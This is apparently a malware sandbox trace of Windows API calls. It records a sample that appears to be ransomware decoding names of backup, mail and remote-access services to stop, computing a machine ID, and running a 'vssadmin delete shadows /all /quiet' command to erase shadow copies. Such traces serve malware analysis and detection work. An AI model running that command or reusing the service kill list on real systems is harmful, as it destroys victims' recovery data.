	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="server Administrator", AllocateDestinationString=1 | out: DestinationString="server Administrator") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="s") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="wbengine" | out: DestinationString="wbengine") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="wbengine", AllocateDestinationString=1 | out: DestinationString="wbengine") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="w") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mr2kserv" | out: DestinationString="mr2kserv") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mr2kserv", AllocateDestinationString=1 | out: DestinationString="mr2kserv") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="m") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="MSExchange*" | out: DestinationString="MSExchange*") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="MSExchange*", AllocateDestinationString=1 | out: DestinationString="MSExchange*") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="M") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ShadowProtectSvc" | out: DestinationString="ShadowProtectSvc") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ShadowProtectSvc", AllocateDestinationString=1 | out: DestinationString="ShadowProtectSvc") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="S") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="SP*4" | out: DestinationString="SP*4") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="SP*4", AllocateDestinationString=1 | out: DestinationString="SP*4") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="S") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="teamviewer" | out: DestinationString="teamviewer") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="teamviewer", AllocateDestinationString=1 | out: DestinationString="teamviewer") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="t") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="MMS" | out: DestinationString="MMS") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="MMS", AllocateDestinationString=1 | out: DestinationString="MMS") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="M") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="AcronisAgent" | out: DestinationString="AcronisAgent") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="AcronisAgent", AllocateDestinationString=1 | out: DestinationString="AcronisAgent") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="A") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ARSM" | out: DestinationString="ARSM") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ARSM", AllocateDestinationString=1 | out: DestinationString="ARSM") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="A") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="AcrSch2Svc" | out: DestinationString="AcrSch2Svc") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="AcrSch2Svc", AllocateDestinationString=1 | out: DestinationString="AcrSch2Svc") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="A") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="vsnapvss" | out: DestinationString="vsnapvss") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="vsnapvss", AllocateDestinationString=1 | out: DestinationString="vsnapvss") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="v") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="SPXService" | out: DestinationString="SPXService") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="SPXService", AllocateDestinationString=1 | out: DestinationString="SPXService") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="S") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="StorageCraft ImageManager" | out: DestinationString="StorageCraft ImageManager") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="StorageCraft ImageManager", AllocateDestinationString=1 | out: DestinationString="StorageCraft ImageManager") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="S") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="wrsvc" | out: DestinationString="wrsvc") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="wrsvc", AllocateDestinationString=1 | out: DestinationString="wrsvc") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="w") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="stc_endpt_svc" | out: DestinationString="stc_endpt_svc") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="stc_endpt_svc", AllocateDestinationString=1 | out: DestinationString="stc_endpt_svc") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="s") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="acrsch2svc" | out: DestinationString="acrsch2svc") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="acrsch2svc", AllocateDestinationString=1 | out: DestinationString="acrsch2svc") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="a") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="reboot" | out: DestinationString="reboot") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="reboot", AllocateDestinationString=1 | out: DestinationString="reboot") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="r") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="restart" | out: DestinationString="restart") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="restart", AllocateDestinationString=1 | out: DestinationString="restart") returned 0x0
	[0060.413] RtlFreeAnsiString (AnsiString="r") 
	[0060.413] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="shutdown" | out: DestinationString="shutdown") 
	[0060.413] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="shutdown", AllocateDestinationString=1 | out: DestinationString="shutdown") returned 0x0
	[0060.414] RtlFreeAnsiString (AnsiString="s") 
	[0060.414] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="logoff" | out: DestinationString="logoff") 
	[0060.414] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="logoff", AllocateDestinationString=1 | out: DestinationString="logoff") returned 0x0
	[0060.414] RtlFreeAnsiString (AnsiString="l") 
	[0060.414] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="back" | out: DestinationString="back") 
	[0060.414] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="back", AllocateDestinationString=1 | out: DestinationString="back") returned 0x0
	[0060.414] RtlFreeAnsiString (AnsiString="b") 
	[0060.414] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ipc$" | out: DestinationString="ipc$") 
	[0060.414] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ipc$", AllocateDestinationString=1 | out: DestinationString="ipc$") returned 0x0
	[0060.414] RtlFreeAnsiString (AnsiString="i") 
	[0060.415] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="admin$" | out: DestinationString="admin$") 
	[0060.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="admin$", AllocateDestinationString=1 | out: DestinationString="admin$") returned 0x0
	[0060.415] RtlFreeAnsiString (AnsiString="a") 
	[0060.415] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="psexec.exe" | out: DestinationString="psexec.exe") 
	[0060.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="psexec.exe", AllocateDestinationString=1 | out: DestinationString="psexec.exe") returned 0x0
	[0060.415] RtlFreeAnsiString (AnsiString="p") 
	[0060.415] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="system" | out: DestinationString="system") 
	[0060.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="system", AllocateDestinationString=1 | out: DestinationString="system") returned 0x0
	[0060.415] RtlFreeAnsiString (AnsiString="s") 
	[0060.415] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\windows*" | out: DestinationString="*:\\windows*") 
	[0060.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\windows*", AllocateDestinationString=1 | out: DestinationString="*:\\windows*") returned 0x0
	[0060.415] RtlFreeAnsiString (AnsiString="*") 
	[0060.415] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\winnt*" | out: DestinationString="*:\\winnt*") 
	[0060.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\winnt*", AllocateDestinationString=1 | out: DestinationString="*:\\winnt*") returned 0x0
	[0060.415] RtlFreeAnsiString (AnsiString="*") 
	[0060.415] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*:\\program file*\\vmwar*" | out: DestinationString="*:\\program file*\\vmwar*") 
	[0060.415] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*:\\program file*\\vmwar*", AllocateDestinationString=1 | out: DestinationString="*:\\program file*\\vmwar*") returned 0x0
	[0060.415] RtlFreeAnsiString (AnsiString="*") 
	[0060.415] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2866710) returned 1
	[0060.417] GetVersion () returned 0x3ad7000a
	[0060.417] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x286eff0 | out: Wow64Process=0x286eff0) returned 1
	[0060.417] GetCurrentProcessId () returned 0xd20
	[0060.417] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x10f150 | out: TokenHandle=0x10f150*=0x2f8) returned 0x0
	[0060.417] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x100) returned 0x285bec8
	[0060.417] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x1, TokenInformation=0x285bec8, TokenInformationLength=0x100, ReturnLength=0x10f188 | out: TokenInformation=0x285bec8, ReturnLength=0x10f188) returned 1
	[0060.418] IsWellKnownSid (pSid=0x285bed0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4)), WellKnownSidType=0x16) returned 0
	[0060.418] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285bec8) returned 1
	[0060.418] GetTokenInformation (in: TokenHandle=0x2f8, TokenInformationClass=0x12, TokenInformation=0x10f164, TokenInformationLength=0x4, ReturnLength=0x10f188 | out: TokenInformation=0x10f164, ReturnLength=0x10f188) returned 1
	[0060.418] NtClose (Handle=0x2f8) returned 0x0
	[0060.418] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x10f14c | out: lpBuffer=0x0, nSize=0x10f14c) returned 0
	[0060.418] GetLastError () returned 0xea
	[0060.418] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x10) returned 0x28795a8
	[0060.418] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x28795a8, nSize=0x10f14c | out: lpBuffer="NQDPDE", nSize=0x10f14c) returned 1
	[0060.418] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xf4) returned 0x285bec8
	[0060.418] GetCurrentHwProfileW (in: lpHwProfileInfo=0x285bec8 | out: lpHwProfileInfo=0x285bec8) returned 1
	[0060.418] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x70) returned 0x2854330
	[0060.419] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877288
	[0060.419] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877288) returned 1
	[0060.419] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2877288
	[0060.419] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20) returned 0x2876f40
	[0060.420] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2876f40) returned 1
	[0060.420] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x41) returned 0x2862888
	[0060.420] sprintf (in: _Dest=0x2862888, _Format="%0.2x" | out: _Dest="c3") returned 2
	[0060.421] sprintf (in: _Dest=0x286288a, _Format="%0.2x" | out: _Dest="f7") returned 2
	[0060.421] sprintf (in: _Dest=0x286288c, _Format="%0.2x" | out: _Dest="e2") returned 2
	[0060.421] sprintf (in: _Dest=0x286288e, _Format="%0.2x" | out: _Dest="c9") returned 2
	[0060.421] sprintf (in: _Dest=0x2862890, _Format="%0.2x" | out: _Dest="6e") returned 2
	[0060.421] sprintf (in: _Dest=0x2862892, _Format="%0.2x" | out: _Dest="de") returned 2
	[0060.421] sprintf (in: _Dest=0x2862894, _Format="%0.2x" | out: _Dest="c0") returned 2
	[0060.421] sprintf (in: _Dest=0x2862896, _Format="%0.2x" | out: _Dest="f6") returned 2
	[0060.421] sprintf (in: _Dest=0x2862898, _Format="%0.2x" | out: _Dest="6d") returned 2
	[0060.421] sprintf (in: _Dest=0x286289a, _Format="%0.2x" | out: _Dest="2b") returned 2
	[0060.421] sprintf (in: _Dest=0x286289c, _Format="%0.2x" | out: _Dest="38") returned 2
	[0060.421] sprintf (in: _Dest=0x286289e, _Format="%0.2x" | out: _Dest="0e") returned 2
	[0060.421] sprintf (in: _Dest=0x28628a0, _Format="%0.2x" | out: _Dest="f1") returned 2
	[0060.421] sprintf (in: _Dest=0x28628a2, _Format="%0.2x" | out: _Dest="85") returned 2
	[0060.421] sprintf (in: _Dest=0x28628a4, _Format="%0.2x" | out: _Dest="ec") returned 2
	[0060.421] sprintf (in: _Dest=0x28628a6, _Format="%0.2x" | out: _Dest="da") returned 2
	[0060.421] sprintf (in: _Dest=0x28628a8, _Format="%0.2x" | out: _Dest="1e") returned 2
	[0060.421] sprintf (in: _Dest=0x28628aa, _Format="%0.2x" | out: _Dest="38") returned 2
	[0060.421] sprintf (in: _Dest=0x28628ac, _Format="%0.2x" | out: _Dest="23") returned 2
	[0060.421] sprintf (in: _Dest=0x28628ae, _Format="%0.2x" | out: _Dest="8b") returned 2
	[0060.421] sprintf (in: _Dest=0x28628b0, _Format="%0.2x" | out: _Dest="01") returned 2
	[0060.421] sprintf (in: _Dest=0x28628b2, _Format="%0.2x" | out: _Dest="da") returned 2
	[0060.421] sprintf (in: _Dest=0x28628b4, _Format="%0.2x" | out: _Dest="56") returned 2
	[0060.421] sprintf (in: _Dest=0x28628b6, _Format="%0.2x" | out: _Dest="01") returned 2
	[0060.421] sprintf (in: _Dest=0x28628b8, _Format="%0.2x" | out: _Dest="90") returned 2
	[0060.421] sprintf (in: _Dest=0x28628ba, _Format="%0.2x" | out: _Dest="d0") returned 2
	[0060.421] sprintf (in: _Dest=0x28628bc, _Format="%0.2x" | out: _Dest="b2") returned 2
	[0060.421] sprintf (in: _Dest=0x28628be, _Format="%0.2x" | out: _Dest="da") returned 2
	[0060.421] sprintf (in: _Dest=0x28628c0, _Format="%0.2x" | out: _Dest="b1") returned 2
	[0060.421] sprintf (in: _Dest=0x28628c2, _Format="%0.2x" | out: _Dest="10") returned 2
	[0060.421] sprintf (in: _Dest=0x28628c4, _Format="%0.2x" | out: _Dest="b5") returned 2
	[0060.421] sprintf (in: _Dest=0x28628c6, _Format="%0.2x" | out: _Dest="a3") returned 2
	[0060.421] RtlInitAnsiString (in: DestinationString=0x10f0fc, SourceString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3" | out: DestinationString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3") 
	[0060.421] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f104, SourceString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3", AllocateDestinationString=1 | out: DestinationString="c3f7e2c96edec0f66d2b380ef185ecda1e38238b01da560190d0b2dab110b5a3") returned 0x0
	[0060.421] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x82) returned 0x286e808
	[0060.421] RtlFreeAnsiString (AnsiString="c") 
	[0060.421] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x28774e0
	[0060.422] wcscpy (in: _Dest=0x28774e0, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\"
	[0060.422] wcscat (in: _Dest=0x28774e0, _Source="NQDPDE" | out: _Dest="\\\\NQDPDE") returned="\\\\NQDPDE"
	[0060.422] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x4) returned 0x2872fe8
	[0060.422] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877500
	[0060.422] wcscpy (in: _Dest=0x2877500, _Source="\\\\NQDPDE" | out: _Dest="\\\\NQDPDE") returned="\\\\NQDPDE"
	[0060.422] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x28774e0) returned 1
	[0060.422] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2877288) returned 1
	[0060.422] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2854330) returned 1
	[0060.422] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285bec8) returned 1
	[0060.422] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x12) returned 0x2877640
	[0060.422] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0xc) returned 0x2879548
	[0060.422] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x20a) returned 0x285c8e8
	[0060.422] Wow64DisableWow64FsRedirection (in: OldValue=0x10f1f0 | out: OldValue=0x10f1f0*=0x0) returned 1
	[0060.422] GetSystemDirectoryW (in: lpBuffer=0x285c8e8, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13
	[0060.422] wcscat (in: _Dest=0x285c8e8, _Source="\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe"
	[0060.422] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x240) returned 0x2870520
	[0060.422] wcscpy (in: _Dest=0x2870520, _Source="C:\\WINDOWS\\system32\\vssadmin.exe" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe") returned="C:\\WINDOWS\\system32\\vssadmin.exe"
	[0060.422] wcscat (in: _Dest=0x2870520, _Source=" delete shadows /all /quiet" | out: _Dest="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet") returned="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet"
	[0060.422] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x10f148*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x10f18c | out: lpCommandLine="C:\\WINDOWS\\system32\\vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x10f18c*(hProcess=0x2fc, hThread=0x300, dwProcessId=0x774, dwThreadId=0xd54)) returned 1
	[0060.682] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x2870520) returned 1
	[0060.682] Wow64RevertWow64FsRedirection (OlValue=0x10f1f0) returned 1
	[0060.682] RtlFreeHeap (HeapHandle=0x2850000, Flags=0x0, BaseAddress=0x285c8e8) returned 1
	[0060.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x145c90, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304
	[0060.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x145e90, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f8
	[0060.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x146840, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x310
	[0060.684] WaitForMultipleObjects (nCount=0x3, lpHandles=0x2879548*=0x304, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 7
	os_tid = 0xd0c


Thread:
	id = 9
	os_tid = 0xd80

	[0061.949] RtlAllocateHeap (HeapHandle=0x2850000, Flags=0x8, Size=0x1024) returned 0x287af68
	[0061.949] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x287af68, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x287af68, ResultLength=0x0) returned 0xc0000004
	[0063.702] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x287af68, Size=0x2048) returned 0x2882158
	[0063.702] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x306c) returned 0x2882158
	[0063.703] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.703] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x4090) returned 0x28851d0
	[0063.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28851d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x28851d0, ResultLength=0x0) returned 0xc0000004
	[0063.704] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28851d0, Size=0x50b4) returned 0x28851d0
	[0063.704] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28851d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28851d0, ResultLength=0x0) returned 0xc0000004
	[0063.704] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28851d0, Size=0x60d8) returned 0x288a290
	[0063.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x288a290, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x288a290, ResultLength=0x0) returned 0xc0000004
	[0063.705] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x288a290, Size=0x70fc) returned 0x288a290
	[0063.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x288a290, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x288a290, ResultLength=0x0) returned 0xc0000004
	[0063.706] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x288a290, Size=0x8120) returned 0x2882158
	[0063.706] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.712] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x9144) returned 0x2882158
	[0063.712] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.713] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xa168) returned 0x2882158
	[0063.713] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.714] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xb18c) returned 0x2882158
	[0063.714] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.715] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xc1b0) returned 0x2882158
	[0063.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.715] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xd1d4) returned 0x2882158
	[0063.715] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.716] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xe1f8) returned 0x2882158
	[0063.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.716] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0xf21c) returned 0x2882158
	[0063.716] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.717] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x10240) returned 0x2891380
	[0063.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2891380, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2891380, ResultLength=0x0) returned 0xc0000004
	[0063.718] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2891380, Size=0x11264) returned 0x2891380
	[0063.718] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2891380, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2891380, ResultLength=0x0) returned 0xc0000004
	[0063.719] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2891380, Size=0x12288) returned 0x28a25f0
	[0063.720] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a25f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a25f0, ResultLength=0x0) returned 0xc0000004
	[0063.721] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a25f0, Size=0x132ac) returned 0x28a25f0
	[0063.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a25f0, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28a25f0, ResultLength=0x0) returned 0xc0000004
	[0063.722] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a25f0, Size=0x142d0) returned 0x2882158
	[0063.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.723] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x152f4) returned 0x2882158
	[0063.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.723] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x16318) returned 0x2882158
	[0063.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
	[0063.724] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882158, Size=0x1733c) returned 0x2882158
	[0063.724] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882158, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2882158, ResultLength=0x0) returned 0xc0000004
